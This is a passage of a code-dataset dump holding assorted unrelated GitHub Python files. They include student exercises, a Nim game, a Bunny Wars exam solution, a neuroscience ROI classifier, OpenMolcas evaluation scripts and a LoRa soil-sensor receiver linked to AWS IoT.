\r\ndesviacion = (suma/(Cant_Procesos-1))**0.5\r\n# Imprime el resultado\r\nprint (\"La desviacion estandar de los tiempos es: \",desviacion,\" segundos\")","repo_name":"MaIsabelSolano/HT_7_Estructuras","sub_path":"procesos v3.py","file_name":"procesos v3.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12335994607","text":"from functools import reduce\n\ntext = 'Deer Bear River Car Car Bear Deer Car River Bear'\n\n\nwords = text.split()\n# wfreq=[words.count(w) for w in words]\n# print(dict(zip(words,wfreq)))\n\nl = sorted(list(map(lambda x: (x, 1), words)))\n\nprint(l)\ndef func(w,t):\n print(w,t)\nans = reduce(func, l)\nprint(ans)","repo_name":"tinghui8576/DTU02807_Computational-Tools-for-Data-Science","sub_path":"Exc3/exc3.py","file_name":"exc3.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22056793885","text":"# -*- coding: utf-8 -*-\n\n\n# Ним — математическая игра, в которой два игрока по очереди берут предметы,\n# разложенные на несколько кучек. За один ход может быть взято любое количество предметов\n# (большее нуля) из одной кучки. Выигрывает игрок, взявший последний предмет.\n# В классическом варианте игры число кучек равняется трём.\n\n# Составить модуль, реализующий функциональность игры.\n# Функции управления игрой\n# разложить_камни()\n# взять_из_кучи(NN, KK)\n# положение_камней() - возвращает список [XX, YY, ZZ, ...] - текущее расположение камней\n# есть_конец_игры() - возвращает True если больше ходов сделать нельзя\n#\n#\n# В текущем модуле (lesson_006/python_snippets/04_practice.py) реализовать логику работы с пользователем:\n# начало игры,\n# вывод расположения камней\n# ввод первым игроком хода - позицию и кол-во камней\n# вывод расположения камней\n# ввод вторым игроком хода - позицию и кол-во камней\n# вывод расположения камней\n\nfrom nim_engine import put_stones, get_bunches, is_gameover, take_from_bunch\nfrom termcolor import cprint, colored\n\nput_stones()\nuser_number = 1\nwhile True:\n cprint('Текущая позиция', color='green')\n cprint(get_bunches(), color='green')\n user_color = 'blue' if user_number == 1 else 'yellow'\n cprint('Ход игрока {}'.format(user_number), color=user_color)\n pos = input(colored('Откуда берем?', color=user_color))\n qua = input(colored('Сколько берем?', color=user_color))\n step_successed = take_from_bunch(position=int(pos), quantity=int(qua))\n if step_successed:\n user_number = 2 if user_number == 1 else 1\n else:\n cprint('Невозможный ход!', color='red')\n if is_gameover():\n break\n\ncprint('Выйграл игрок номер {}'.format(user_number), color='red')","repo_name":"zaboevai/python_base","sub_path":"lesson_006/python_snippets/04_practice.py","file_name":"04_practice.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"ru","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"31329678417","text":"import machine\nimport math\nimport numpy as np\nimport sys\n\n# the distance matrix to be used in the\n# traveling salesman problem\ndistances = np.matrix([\n [0,10,20,5,18],\n [0,0,15,32,10],\n [0,0,0,25,16],\n [0,0,0,0,35],\n [0,0,0,0,0]\n])\n# making it symmetric for ease of use\ndistances = distances + distances.T\n\nif __name__ == '__main__':\n\n if len(sys.argv) != 3:\n T = 5000\n h_charge = 0.5\n b_charge = -0.2\n else:\n T = int(sys.argv[1])\n h_charge = float(sys.argv[2])\n b_charge = float(sys.argv[3])\n \n # create a boltzmann machine with the hamiltonian_error_charge as the weight\n # assigned to any edge that will violate the hamiltonian, and a bias_charge\n # as the weight assigned to the loop edges (points the node to itself) --\n # this effectively acts as the bias term in the consensus function\n b = machine.boltzmann(hamiltonian_error_charge=h_charge, bias_charge=b_charge)\n\n # create the network using the distances as the foundation for the weight matrices\n b.create_network(distances)\n\n # anneal the network starting at temperature T and a schedule function that\n # decrements T after every cycle\n machine.anneal(b,T=T,schedule=lambda T: math.log10(T) if T > 100 else 0.1)\n","repo_name":"mroumanos/boltzmann-tsp","sub_path":"anneal.py","file_name":"anneal.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32357013","text":"import datrie\nimport string\nfrom sortedcontainers import SortedDict, SortedSet\n\n\nclass Bunny:\n def __init__(self, name, teamid, room):\n self.name = name\n self.reversed_name = ''.join(reversed(name))\n self.room = room\n self.health = 100\n self.score = 0\n self.team = teamid\n\n def __eq__(self, other):\n return self.name == other.name\n\n def __hash__(self):\n return hash(self.name)\n\n def __gt__(self, other):\n return self.name > other.name\n\n def __lt__(self, other):\n return self.name < other.name\n\n def __str__(self):\n return self.name\n\n\nclass Room:\n def __init__(self, id):\n self.id = id\n self.bunny_count = 0\n self.bunnies = dict()\n\n def __hash__(self):\n return hash(id)\n\n def __eq__(self, other):\n return self.id == other.id\n\n def __gt__(self, other):\n return self.id > other.id\n\n def __lt__(self, other):\n return self.id < other.id\n\n def __len__(self):\n return self.bunny_count\n\n def detonate(self, bunny):\n \"\"\"\n Detonate bunnyName – detonates the bunny, causing all bunnies from other teams in the same room\n to suffer 30 damage to their health (their health is reduced by 30).\n\n If a bunny with the given name does not exist, the command should throw an exception.\n If a bunny falls to 0 or less health as a result of the detonation, it should be removed from the game.\n\n For each removed enemy bunny, the detonated bunny should gain +1 score.\n \"\"\"\n score = 0\n dead_bunnies = []\n orig_bunny_team_id = bunny.team\n for team_id in self.bunnies.keys():\n # go through each bunny that's not from the original bunny's team\n if team_id != orig_bunny_team_id:\n for enemy_bunny in self.bunnies[team_id].values():\n enemy_bunny.health -= 30\n if enemy_bunny.health <= 0:\n dead_bunnies.append(enemy_bunny)\n score += 1\n for dead_bunny in dead_bunnies: # delete each dead bunny\n del self.bunnies[dead_bunny.team][dead_bunny.name]\n bunny.score += score\n return dead_bunnies # return the dead bunnies to be deleted from other collections\n\n def add_bunny(self, bunny):\n \"\"\" Adds the bunny to the room\"\"\"\n if bunny.team not in self.bunnies:\n self.bunnies[bunny.team] = dict()\n self.bunnies[bunny.team][bunny.name] = bunny\n self.bunny_count += 1\n return bunny\n\n def move_bunny_in(self, bunny: Bunny):\n if bunny.team not in self.bunnies:\n self.bunnies[bunny.team] = dict()\n self.bunnies[bunny.team][bunny.name] = bunny\n self.bunny_count += 1\n\n def remove_bunny(self, bunny):\n self.bunny_count += 1\n del self.bunnies[bunny.team][bunny.name]\n\n\nclass BunnyWars:\n def __init__(self):\n self.rooms_by_idx = SortedSet() # integer ID only\n self.rooms = SortedDict() # key: id, value: room\n self.bunnies_by_team = {} # key: team id, value: SortedSet(key=bunny.reversed_name) of Bunny objects\n self.bunnies_by_suffix = datrie.Trie(string.ascii_letters + ''.join(str(part) for part in range(0,10)))\n self.bunny_names = {}\n\n def next_bunny(self, bunny_name):\n self._move_bunny(bunny_name)\n\n def prev_bunny(self, bunny_name):\n self._move_bunny(bunny_name, prev=True)\n\n def bunny_count(self):\n return len(self.bunny_names)\n\n def room_count(self):\n return len(self.rooms)\n\n def list_bunnies_by_team(self, team_id):\n \"\"\"\n ListBunniesByTeam teamId - returns all bunnies from the specified team in (sorted by name in descending order).\n \"\"\"\n return reversed(self.bunnies_by_team[team_id])\n\n def list_bunnies_by_suffix(self, suffix):\n \"\"\"\n ListBunniesBySuffix suffix -\n returns all bunnies ending with the specified suffix (sorted by the ASCII code of the reversed name\n in ascending order as a first criteria and by length in ascending order as a second criteria).\n Example Tpen < apen < aapen < bapen < bpen.\n \"\"\"\n return self.bunnies_by_suffix.values(''.join(reversed(suffix)))\n\n def detonate(self, bunny_name):\n if bunny_name not in self.bunny_names:\n raise Exception('Bunny does not exist!')\n bunny = self.bunny_names[bunny_name]\n room = self.rooms[bunny.room]\n dead_bunnies = room.detonate(bunny) # detonate the bunny and get all the bunnies that have died\n for dead_bunny in dead_bunnies:\n self._delete_bunny(dead_bunny)\n\n def add_room(self, id):\n \"\"\"\n Add roomId – adds a room to the structure.\n Rooms have unique ids.\n Rooms should be situated according to their id in ascending order.\n If a room with the given Id exists the command should throw an exception.\n \"\"\"\n if id in self.rooms:\n raise Exception('Room with id {id} is already registered!'.format(id=id))\n self.rooms_by_idx.add(id)\n self.rooms[id] = Room(id)\n\n def add_bunny(self, bunny_name, team_id, room_id):\n if room_id not in self.rooms or team_id > 4 or team_id < 0:\n raise Exception('Invalid room/team id!')\n if bunny_name in self.bunny_names:\n raise Exception('A bunny with the given name already exists!')\n bunny_obj = Bunny(name=bunny_name, teamid=team_id, room=room_id)\n # 1. Add to the room\n self.rooms[room_id].add_bunny(bunny_obj)\n # 2. Add to overall bunnies\n self.bunny_names[bunny_name] = bunny_obj\n # 3. Add to suffixes\n self.bunnies_by_suffix[bunny_obj.reversed_name] = bunny_obj\n # 4. Add to bunnies by team\n if bunny_obj.team not in self.bunnies_by_team:\n self.bunnies_by_team[bunny_obj.team] = SortedSet()\n self.bunnies_by_team[bunny_obj.team].add(bunny_obj)\n\n def remove_room(self, room_id):\n if room_id not in self.rooms:\n raise Exception('A room with the id {id} does not exist!'.format(id=room_id))\n room = self.rooms[room_id]\n del self.rooms[room_id]\n self.rooms_by_idx.remove(room_id)\n\n # delete every bunny there\n for bunnies_from_team in room.bunnies.values():\n for bunny in bunnies_from_team.values():\n self._delete_bunny(bunny)\n\n def _move_bunny(self, bunny_name, prev=False):\n if bunny_name not in self.bunny_names:\n raise Exception()\n bunny = self.bunny_names[bunny_name]\n old_room_id = bunny.room\n old_room = self.rooms[old_room_id]\n old_room_index = self.rooms_by_idx.index(old_room_id)\n if prev:\n next_room_index = old_room_index - 1\n else:\n next_room_index = old_room_index + 1\n if next_room_index >= len(self.rooms_by_idx) or next_room_index < 0: # is out of bounds\n next_room_index = 0 if prev else len(self.rooms_by_idx) - 1\n # get the new room id and assign it to the bunny\n new_room_id = self.rooms_by_idx[next_room_index]\n bunny.room = new_room_id\n new_room = self.rooms[new_room_id]\n # remove the bunny from the old room and move it to the new one\n old_room.remove_bunny(bunny)\n new_room.move_bunny_in(bunny)\n\n def _delete_bunny(self, bunny: Bunny):\n # 1.Remove from overall bunnies\n del self.bunny_names[bunny.name]\n # 2.Remove from suffixes\n del self.bunnies_by_suffix[bunny.reversed_name]\n # 3.Remove from bunnies by team\n self.bunnies_by_team[bunny.team].remove(bunny)\n\n\ndef main_loop():\n \"\"\" Take commands from the bunny wars commander! \"\"\"\n wars = BunnyWars()\n while True:\n command = input()\n args = command.split()\n if command.startswith('Add'):\n # add commands\n if len(args) > 2: # add a bunny\n bunny_name = args[1]\n team_id = int(args[2])\n room_id = int(args[3])\n wars.add_bunny(bunny_name, team_id, room_id)\n else: # add a room\n room_id = int(args[1])\n wars.add_room(room_id)\n elif command == 'BunnyCount':\n print('The amount of bunnies is: {}'.format(wars.bunny_count()))\n elif command == 'RoomCount':\n print('The amount of rooms is: {}'.format(wars.room_count()))\n elif command.startswith('Remove'):\n # remove a room\n room_id = int(args[1])\n wars.remove_room(room_id)\n elif command.startswith('Next'):\n # move the bunny to the next room\n bunny_name = args[1]\n wars.next_bunny(bunny_name)\n elif command.startswith('Previous'):\n # move the bunny to the previous room\n bunny_name = args[1]\n wars.prev_bunny(bunny_name)\n elif command.startswith('Detonate'):\n # detonates a bunny\n bunny_name = args[1]\n wars.detonate(bunny_name)\n elif command.startswith('ListBunniesByTeam'):\n # lists the bunnies from the given team\n team_id = int(args[1])\n print('\\n'.join([str(bun) for bun in wars.list_bunnies_by_team(team_id)]))\n elif command.startswith('ListBunniesBySuffix'):\n # lists the bunnies that end in the given suffix\n suffix = args[1]\n print('\\n'.join([str(bun) for bun in wars.list_bunnies_by_suffix(suffix)]))\n\n\ndef main():\n main_loop()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"stanislavkozlovski/data_structures_feb_2016","sub_path":"SoftUni/Exam/Problem-2-Bunny-Wars/bunny_wars.py","file_name":"bunny_wars.py","file_ext":"py","file_size_in_byte":9730,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"45186175153","text":"class Solution:\n def __init__(self):\n self.res = []\n\n def __combination(self, n, k, index, res):\n if len(res) == k:\n self.res.append(list(res))\n return\n\n # [index, n]之间需要保证稀少有k - len(res)个元素 即\n for i in range(index, n - (k - len(res)) + 2):\n res.append(i)\n self.__combination(n, k, i + 1, res)\n res.pop()\n\n def combine(self, n: int, k: int) -> list:\n if n<=0 or k <= 0 or k > n:\n return []\n res= []\n self.__combination(n, k, 1, res)\n return self.res\n \n\nif __name__ == '__main__':\n s = Solution()\n print(s.combine(4, 2))","repo_name":"maverick-zhang/Algorithms-Leetcode","sub_path":"leetcode_day14/Q77_combination.py","file_name":"Q77_combination.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36258944777","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport os \nimport csv\n\n\n# In[2]:\n\n\n#created File Path\ncsvpath = os.path.join('Python-Challenge','PyPoll','election_data.csv')\n\n\n# In[7]:\n\n\n#empty list variables\nCounty= []\nCandidate= []\nIndividualCandidate= []\nIndividualCandidateVote= []\nCandidateVotePercentage= []\nTotalCount= 0\n\nwith open(csvpath, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n print(csvreader)\n csv_header = next(csvreader)\n print(f\"CSV Header: {csv_header}\")\n \n for row in csvreader:\n TotalCount = TotalCount + 1\n Candidate.append(row[2])\n \n for x in set (Candidate):\n IndividualCandidate.append(x)\n Candidate.count(x)\n IndividualCandidateVote.append(Candidate.count(x))\n CandidateVotePercentage.append(Candidate.count(x)/TotalCount)\n \n Winner = IndividualCandidate[IndividualCandidateVote.index(max(IndividualCandidateVote))]\n \n # Output Path File\n Output_path = os.path.join('Python-Challenge','PyPoll','PyPoll_Output_' + '.txt')\n \n #write Mode\n\nwith open('PyPoll_Output_' + '.txt', 'w') as text:\n \n text.write(\"Election Results for file 'election_data_\"+ \".csv'\"+\"\\n\")\n text.write(\"----------------------------------------------------\\n\")\n text.write(\"Total Vote: \" + str(TotalCount) + \"\\n\")\n text.write(\"----------------------------------------------------\\n\")\n for i in range(len(set(Candidate))):\n text.write(IndividualCandidate[i] + \": \" + str(round(CandidateVotePercentage[i]*100,1)) +\"% (\" + str(IndividualCandidateVote[i]) + \")\\n\")\n \n text.write(\"----------------------------------------------------\\n\")\n text.write(\"Winner: \" + Winner + \"\\n\")\n text.write(\"----------------------------------------------------\\n\")\nwith open(Output_path,'r')as readfile:\n print(readfile.read())\n \n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"cnwaubi/Python-Challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17974011337","text":"from pathlib import Path\nimport sys\nimport importlib\n\nimport numpy as np\nimport copy\nimport torch\n\nimport logging\nimport pickle\nimport matplotlib.pyplot as plt\n\n## basic functions\ndef dataloader_to_latents(dataloader, model, DEVICE='cpu'):\n def subset_to_latents(data):\n return model.get_head(model.base_model(data[0][0].to(DEVICE))).detach().cpu()\n return torch.cat([subset_to_latents(data) for data in dataloader], dim=0)\n\ndef load_classifier_model(classifier_name):\n with open(classifier_name, 'rb') as classifier_model_file:\n classifier = pickle.load(classifier_model_file)\n return classifier\n\n## Main\ndef ROI_classification(path_list):\n logging.warning(f'ROI classification')\n\n logging.warning(f'Add {path_list.dir_github}')\n sys.path.append(str(path_list.dir_github))\n logging.warning(f'Add {path_list.dir_classify}')\n sys.path.append(str(path_list.dir_classify))\n # sys.path.append(path_list.dir_GRC_repo)\n logging.warning(f'Add {path_list.dir_NNmodels}')\n sys.path.append(str(path_list.dir_NNmodels))\n\n from GCaMP_ROI_classifier.new_stuff import util\n from utils.basic_neural_processing_modules import torch_helpers, plotting_helpers, file_helpers\n\n\n ## Device to use for NN model\n DEVICE = torch_helpers.set_device(use_GPU=True)\n\n ## Import suite2p stat file to spatial footprints\n logging.warning(f'Load Spatial Footprints')\n spatial_footprints = torch.as_tensor(\n util.statFile_to_spatialFootprints(path_list.path_statFile, out_height_width=[36,36], max_footprint_width=455)\n )\n\n spatial_footprints = spatial_footprints / torch.sum(spatial_footprints, dim=(1,2), keepdim=True)\n\n # spatial_footprints = drop_nan_imgs(spatial_footprints)\n print(spatial_footprints.shape[0], 'ROIs loaded.')\n\n # Instantiate Model\n # model_file = importlib.util.spec_from_file_location('path_NN_py')\n logging.warning(f'Instantiate Model')\n model_file = importlib.import_module(path_list.fileName_NN_py)\n model = model_file.get_model(path_list.path_NN_pth)\n model.eval()\n\n # Create Data Sets / Data Loaders\n logging.warning(f'Create Data Sets / Data Loaders')\n dataset, dataloader = model_file.get_dataset_dataloader(spatial_footprints, batch_size=64, device=DEVICE)\n\n model.to(DEVICE)\n\n # Get Model Latents\n logging.warning(f'Get Model Latents')\n latents = dataloader_to_latents(dataloader, model, DEVICE=DEVICE).numpy()\n\n # Load Logistic Model\n classifier_model = load_classifier_model(path_list.path_classifier)\n\n # Predict ROIs — Save to File\n proba = classifier_model.predict_proba(latents)\n preds = np.argmax(proba, axis=-1)\n uncertainty = util.loss_uncertainty(torch.as_tensor(proba), temperature=1, class_value=None).detach().cpu().numpy()\n \n params = classifier_model.get_params()\n\n ROI_classifier_outputs = {\n 'latents': latents,\n 'proba': proba,\n 'preds': preds,\n 'uncertainty': uncertainty,\n 'LR_params': params\n }\n\n preds_toUse = [0,1]\n logging.warning(f'Classified as ROI: {preds_toUse}')\n iscell_NN = np.isin(preds, preds_toUse)\n iscell_NN_idx = np.where(iscell_NN)[0]\n\n logging.warning(f'number of included ROIs: {len(iscell_NN_idx)}')\n\n logging.warning(f'Saving file: {path_list.dir_save / \"iscell_NN.npy\"}')\n np.save(\n file=path_list.dir_save / 'iscell_NN.npy',\n arr=iscell_NN\n )\n\n # pickle_helpers.simple_save(\n # obj=ROI_classifier_outputs,\n # filename=dir_save / 'ROI_classifier_outputs.pkl'\n # )\n logging.warning(f'Saving file: {path_list.dir_save / \"ROI_classifier_outputs.pkl\"}')\n file_helpers.pickle_save(\n obj=ROI_classifier_outputs,\n path_save=path_list.dir_save / 'ROI_classifier_outputs.pkl'\n )\n\n return iscell_NN","repo_name":"gyu-heo/Mothership_Zeta","sub_path":"MZ/classify/BMI_IDAP/ROI_classification.py","file_name":"ROI_classification.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9396206658","text":"import userSentiment\nimport json\n\n\nwith open('keys.json', 'r') as f:\n credentials = json.load(f)\n\nsentiment = userSentiment.UserSentiment(credentials)\n\nuser, userData, score = sentiment.recentSentimentOfUser(\"MarkHamill\", 100)\n\nprint(user)\n\nprint('score: ' + str(score.score))\nprint('magnitude: ' + str(score.magnitude))\n\nuserTopics = sentiment.topics(userData)\n\nprint(userTopics)\n\nentities = sentiment.entities(userData)\n\nprint(entities)","repo_name":"NevesLucas/EC601","sub_path":"Project_2/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27306016845","text":"import os\nimport shutil\nimport h5py\nimport subprocess\nimport numpy as np\nfrom openmolcas.inference.evaluate_iterations_on_validation_set import METHODS\nfrom models.inference import predict_guess, predict_guess_F, predict_guess_rotating\nfrom openmolcas.utils import read_in_orb_file, write_coeffs_to_orb_file\n\ndef CASCI_calculation(dir_path, geom_file, initial_guess_file):\n # copy files there\n shutil.copy2('./openmolcas/calculation/input_files/CASCI_ML.input', dir_path + 'CASCI_ML.input')\n shutil.copy2(geom_file, dir_path + 'geom.xyz')\n shutil.copy2(initial_guess_file, dir_path + 'geom.orb')\n\n # run openmolcas\n subprocess.run('cd ' + dir_path + ' && sudo /opt/OpenMolcas/pymolcas CASCI_ML.input > calc.log', shell=True)\n\ndef calculate_orbital_energies_mae(method_name, geom_file, guess_orbs, S, index):\n if method_name not in METHODS:\n raise ValueError(\"method name not found\")\n\n elif method_name == 'ML_MO':\n initial_guess = predict_guess(model_path=model_path, geometry_path=geom_file, basis=n_mo)\n write_coeffs_to_orb_file(initial_guess.flatten(), example_guess_file, 'temp.orb', n=n_mo)\n elif method_name == 'ML_U':\n initial_guess = predict_guess_rotating(model_path=model_path, geometry_path=geom_file, guess_orbs=guess_orbs, basis=n_mo)\n write_coeffs_to_orb_file(initial_guess.flatten(), example_guess_file, 'temp.orb', n=n_mo)\n elif method_name == 'ML_F':\n initial_guess = predict_guess_F(model_path=model_path, geometry_path=geom_file, S=S, basis=n_mo)\n write_coeffs_to_orb_file(initial_guess.flatten(), example_guess_file, 'temp.orb', n=n_mo)\n \n casci_dir = './temp/CASCI/'\n if not os.path.exists(casci_dir):\n os.makedirs(casci_dir)\n CASCI_calculation(casci_dir, geom_file, initial_guess_file='temp.orb')\n _, ml_orb_energies = read_in_orb_file(casci_dir + 'CASCI_ML.RasOrb')\n shutil.rmtree(casci_dir)\n\n _, conv_orb_energies = read_in_orb_file(calc_dir + 'geometry_' + str(index) + '/CASSCF.RasOrb')\n\n return np.abs(conv_orb_energies - ml_orb_energies)\n\n\nif __name__ == \"__main__\":\n prefix = '/home/ubuntu/'\n base_dir = prefix + 'fulvene/geometries/MD_trajectories_5_01/'\n calc_dir = prefix + 'fulvene/openmolcas_calculations/MD_trajectories_05_01_random/'\n split_file = 'data/MD_trajectories_05_01_random.npz'\n example_guess_file = 'openmolcas/calculation/input_files/geom.orb'\n \n method_name = 'ML_F'\n model_path = 'checkpoints/wd200_molcas_ANO-S-MB_ML_F.pt'\n n_mo = 36\n\n indices = np.load(split_file)['val_idx']\n \n orb_maes = []\n for idx, index in enumerate(indices):\n geom_file = base_dir + 'geometry_' + str(index) + '.xyz'\n guess_orbs, _ = read_in_orb_file(calc_dir + 'geometry_' + str(index) + '/CASSCF.GssOrb')\n S = h5py.File(calc_dir + 'geometry_' + str(index) + '/CASSCF.rasscf.h5').get('AO_OVERLAP_MATRIX')[:].reshape(-1, n_mo)\n orb_mae = calculate_orbital_energies_mae(method_name, geom_file, guess_orbs, S, index)\n orb_maes.append(orb_mae)\n\n print('progress: ', idx / len(indices) * 100, ' %')\n\n orb_maes = np.array(orb_maes)\n mean_orbs_meas = np.mean(orb_maes, axis=0)\n print(mean_orbs_meas)","repo_name":"rhjvanworkum/CasSchNet","sub_path":"openmolcas/evaluation/evaluate_orb_e_on_validation_set.py","file_name":"evaluate_orb_e_on_validation_set.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"33647043619","text":"import keydata\nimport boto3\nimport json\n\n# Import Python System Libraries\nimport os\nimport time \nfrom time import sleep\nfrom datetime import datetime\nimport serial\nimport threading\n# Import Blinka Libraries\nimport busio\nfrom digitalio import DigitalInOut, Direction, Pull\nimport board\n# Import the SSD1306 module.\nimport adafruit_ssd1306\n# Import RFM9x\nimport adafruit_rfm9x\n\n#boto3 iot-core data client\niot_data_client = boto3.client('iot-data', region_name=keydata.region_name, aws_access_key_id=keydata.access_key_ID, aws_secret_access_key=keydata.secret_access_key)\n\n# Button A\nbtnA = DigitalInOut(board.D5)\nbtnA.direction = Direction.INPUT\nbtnA.pull = Pull.UP\n\n# Button B\nbtnB = DigitalInOut(board.D6)\nbtnB.direction = Direction.INPUT\nbtnB.pull = Pull.UP\n\n# Button C\nbtnC = DigitalInOut(board.D12)\nbtnC.direction = Direction.INPUT\nbtnC.pull = Pull.UP\n\n# Create the I2C interface.\ni2c = busio.I2C(board.SCL, board.SDA)\n\n# 128x32 OLED Display\nreset_pin = DigitalInOut(board.D4)\ndisplay = adafruit_ssd1306.SSD1306_I2C(128, 32, i2c, reset=reset_pin)\n# Clear the display.\ndisplay.fill(0)\ndisplay.show()\nwidth = display.width\nheight = display.height\n\n# Configure LoRa Radio\nCS = DigitalInOut(board.CE1)\nRESET = DigitalInOut(board.D25)\nspi = busio.SPI(board.SCK, MOSI=board.MOSI, MISO=board.MISO)\nrfm9x = adafruit_rfm9x.RFM9x(spi, CS, RESET, 915.0)\nrfm9x.tx_power = 5\nprev_packet = None\n\nstart = time.time()\n\n# Time to run\nPACKET_TIMEOUT = 0.5 #seconds\n\ntemptime = datetime.utcnow()\nfilename = \"/home/pi/logs/{:0>2d}-{:0>2d}-{:0>2d}_{:0>2d}-{:0>2d}_data_log.csv\".format(temptime.month,temptime.day, temptime.year, temptime.hour, temptime.minute)\nfile = open(filename, \"w\")\ni=0\nif os.stat(filename).st_size == 0:\n file.write(\"Time,RSSI (dBm),Latitude,Longitude\\n\")\n\nno_packet_start_time = time.time()\nshadow_check_time = time.time()\nshadow_water = \"false\"\n\nwhile True:\n if time.time() > shadow_check_time + 5:\n shadow_check_time = time.time()\n print(\"Checking thing shadow\")\n thingShadow = iot_data_client.get_thing_shadow(thingName=keydata.thingName, shadowName=keydata.shadowName)['payload'].read()\n shadowData = json.loads(thingShadow.decode(\"utf-8\"))\n if not shadow_water == shadowData['state']['desired']['water']:\n packDatW = {}\n packDatW['command'] = \"water\"\n packDatW['active'] = shadowData['state']['desired']['water']\n rfm9x.send(bytearray(json.dumps(packDatW).encode()))\n rfm9x.receive(timeout=5)\n if not packet is None:\n shadow_water = shadowData['state']['desired']['water']\n\n\n\n packet = None\n # draw a box to clear the image\n display.fill(0)\n display.text('RasPi LoRa', 35, 0, 1)\n\n #send command to measure soil\n packDatM = {}\n packDatM['command'] = \"measure\"\n rfm9x.send(bytearray(json.dumps(packDatM).encode()))\n\n # check for packet rx\n packet = rfm9x.receive(timeout=PACKET_TIMEOUT)\n if packet is None: #If the timeout is reached\n display.show()\n display.text('- PKT LOSS -', 35, 20, 1)\n print(\"Packet Loss\")\n file.write(\"{},{}\\n\".format(datetime.now(), \"Packet Loss\"))\n no_packet_start_time = time.time()\n\n else:\n # Display the packet text and rssi\n display.fill(0)\n prev_packett = packet\n #Filtering out packets with non-digits. Bad data\n if prev_packett.isdigit():\n prev=float(prev_packett)\n #Convert packet's data to a scale of 0 to 100\n prev_packet=-0.008547008547008548*prev+239.31623931623935\n #packet_text = str(prev_packet, \"utf-8\")\n display.text('Moisture: ', 0, 0, 1)\n #display.text(packet_text, 25, 0, 1)\n display.text(format(prev_packet), 0, 10, 1)\n #print(prev_packett)\n print(\"\\nRaw Data \"+str(float(prev_packett)))\n print(\"Soil Moisture \"+ str(prev_packet))\n received_power=rfm9x.last_rssi\n print(\"Receiver_Signal_Strength:{0} dB\".format(received_power))\n #snr=rfm9x.last_snr\n #print(\"SNR: \"+str(snr))\n #received_pow = str(received_power, \"utf-8\")\n display.text('RX_Power: ', 1, 20, 2)\n display.text(format(received_power), 55, 20, 2)\n #time.sleep(0.1)\n \n\n #i=i+1\n now = datetime.utcnow()\n #file.write(str(now)+\",\"+str(i)+\",\"+str(-i)+\",\"+str(i-10)+\",\"+str(i+5)+\",\"+str(i*i)+\"\\n\")\n file.write(\"{},{}\\n\".format(str(now), received_power))\n file.flush()\n \n \n \n\n if packet==None and time.time()>no_packet_start_time+0.5:\n file.write(\"{},{}\\n\".format(str(datetime.now()), \"Packet Loss\"))\n file.flush()\n no_packet_start_time=time.time()\n display.show()\n #time.sleep(0.1)\n\n #If buttonA is pressed, then exit the while loop.\n # This will replace the previous if statement to exit based on time.\n ## This allows us to stop when we are done flying the drone, not when the time is up\n if (btnA.value == False):\n print(\"BtnA pressed\")\n break\n if (btnB.value == False):\n print(\"BtnB pressed\")\n if (btnC.value == False):\n print(\"BtnC pressed\")\n\n\nfile.close()\ndisplay.fill(0)\ndisplay.text(\"Exited...\", 15, 20, 1)\ndisplay.show()\n#print(\"Finished\")\n","repo_name":"glcaptain00/PeteKitDemos","sub_path":"Soil_Sensor/Receiver.py","file_name":"Receiver.py","file_ext":"py","file_size_in_byte":5436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30658394376","text":"from sample_factory.runner.run_description import RunDescription, Experiment, ParamGrid\n\n_params = ParamGrid([\n ('use_rnn', [True, False]),\n ('mem_size', [4, 0]),\n])\n\ncmd = 'python -m train_pytorch --algo=PPO --rollout=64 --recurrence=32 --num_envs=96 --num_workers=96 --train_for_env_steps=1000000000 --normalize_advantage=False --prior_loss_coeff=0.005 '\n\n# IMPORTANT: for DMLAB number of workers better be equal to the number of envs, otherwise spurious crashes may occur!\n_experiment_nm = Experiment(\n 'mem_dmlab_nm',\n cmd + '--reward_scale=0.1 --env=dmlab_nonmatch',\n _params.generate_params(randomize=False),\n)\n_experiment_wm = Experiment(\n 'mem_dmlab_wm',\n cmd + '--reward_scale=1.0 --env=dmlab_watermaze',\n _params.generate_params(randomize=False),\n)\n\nRUN_DESCRIPTION = RunDescription('mem_dmlab_v24', experiments=[_experiment_nm, _experiment_wm])\n","repo_name":"facebookresearch/motif","sub_path":"rl_baseline/sample-factory/sample_factory/runner/runs/memory_dmlab.py","file_name":"memory_dmlab.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"67"} +{"seq_id":"14166491193","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 17/12/6 下午6:14\n# @Author : Aries\n# @Site : \n# @File : py091_compressed_files.py\n# @Software: PyCharm\n'''\n9–20. 压缩文件.\n写一小段代码, 压缩/解压缩 gzip 或 bzip 格式的文件.\n可以使用命令行下的 gzip 或 bzip2 以及 GUI 程序 PowerArchiver , StuffIt , 或 WinZip 